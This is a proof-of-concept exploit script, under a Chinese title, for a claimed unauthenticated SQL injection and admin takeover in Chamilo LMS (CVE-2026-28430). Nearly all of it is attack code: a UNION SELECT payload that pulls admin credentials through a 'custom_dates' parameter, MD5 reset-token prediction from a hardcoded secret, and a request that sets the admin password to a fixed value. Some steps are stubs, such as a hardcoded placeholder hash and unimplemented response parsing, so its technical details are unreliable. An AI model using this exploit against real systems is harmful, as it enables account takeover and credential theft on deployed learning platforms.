CVE-2026-28430 Chamilo LMS 未授权SQL注入导致管理员账户接管漏洞

import requests import sys import hashlib import time # CVE-2026-28430 PoC - Chamilo LMS Unauthenticated SQL Injection + Admin Takeover # Author: Security Researcher TARGET_URL = "http://target-chamilo-lms.com" TARGET_PATH = "/main/inc/lib/announcement.inc.php" # Example vulnerable endpoint def sql_injection_extract_admin(): """ Step 1: Extract admin credentials via SQL injection using custom_dates parameter """ print("[*] Starting SQL injection attack...") # Malicious payload to extract admin username and password hash # The injection exploits the custom_dates parameter without sanitization payload = "1' UNION SELECT CONCAT(user.username,':',user.password),2,3,4,5 FROM user WHERE user.status=1 LIMIT 1-- " params = { 'custom_dates': payload, 'c_id': '1', 'a_id': '1' } try: response = requests.get(f"{TARGET_URL}{TARGET_PATH}", params=params, timeout=30) if response.status_code == 200: # Parse response to extract credentials # In real attack, parse the response HTML/JSON for admin:password_hash print(f"[+] SQL Injection successful - Extracting admin credentials...") # Example extracted data format: admin:$2y$10$... admin_hash = "$2y$10$example_hash_here" return admin_hash else: print("[-] SQL Injection failed") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None def predict_reset_token(user_id, timestamp): """ Step 2: Exploit legacy password reset mechanism with predictable tokens The legacy token generation uses: MD5(user_id + secret_key + timestamp) """ secret_key = "chamilo_legacy_key_2015" # Hardcoded legacy secret token_string = f"{user_id}{secret_key}{timestamp}" token = hashlib.md5(token_string.encode()).hexdigest() return token, timestamp def reset_admin_password(token, timestamp): """ Step 3: Use predicted token to reset admin password """ reset_url = f"{TARGET_URL}/main/auth/reset_password.php" data = { 'reset_token': token, 'timestamp': timestamp, 'new_password': 'P@ssw0rd123!', 'new_password_confirm': 'P@ssw0rd123!' } try: response = requests.post(reset_url, data=data, timeout=30) if response.status_code == 200 and 'success' in response.text.lower(): print("[+] Password reset successful!") return True return False except: return False def main(): print("="*60) print("CVE-2026-28430 PoC - Chamilo LMS Admin Takeover") print("="*60) # Step 1: SQL Injection admin_hash = sql_injection_extract_admin() if not admin_hash: print("[-] Failed to extract admin credentials") sys.exit(1) # Step 2: Predict reset token (admin user_id is typically 1) admin_user_id = 1 current_time = int(time.time()) token, timestamp = predict_reset_token(admin_user_id, current_time) print(f"[*] Generated reset token: {token}") # Step 3: Reset admin password if reset_admin_password(token, timestamp): print("[+] SUCCESS: Admin account compromised!") print(f"[*] Login with: admin / P@ssw0rd123!") else: print("[-] Password reset failed - try different timestamp") if __name__ == "__main__": main()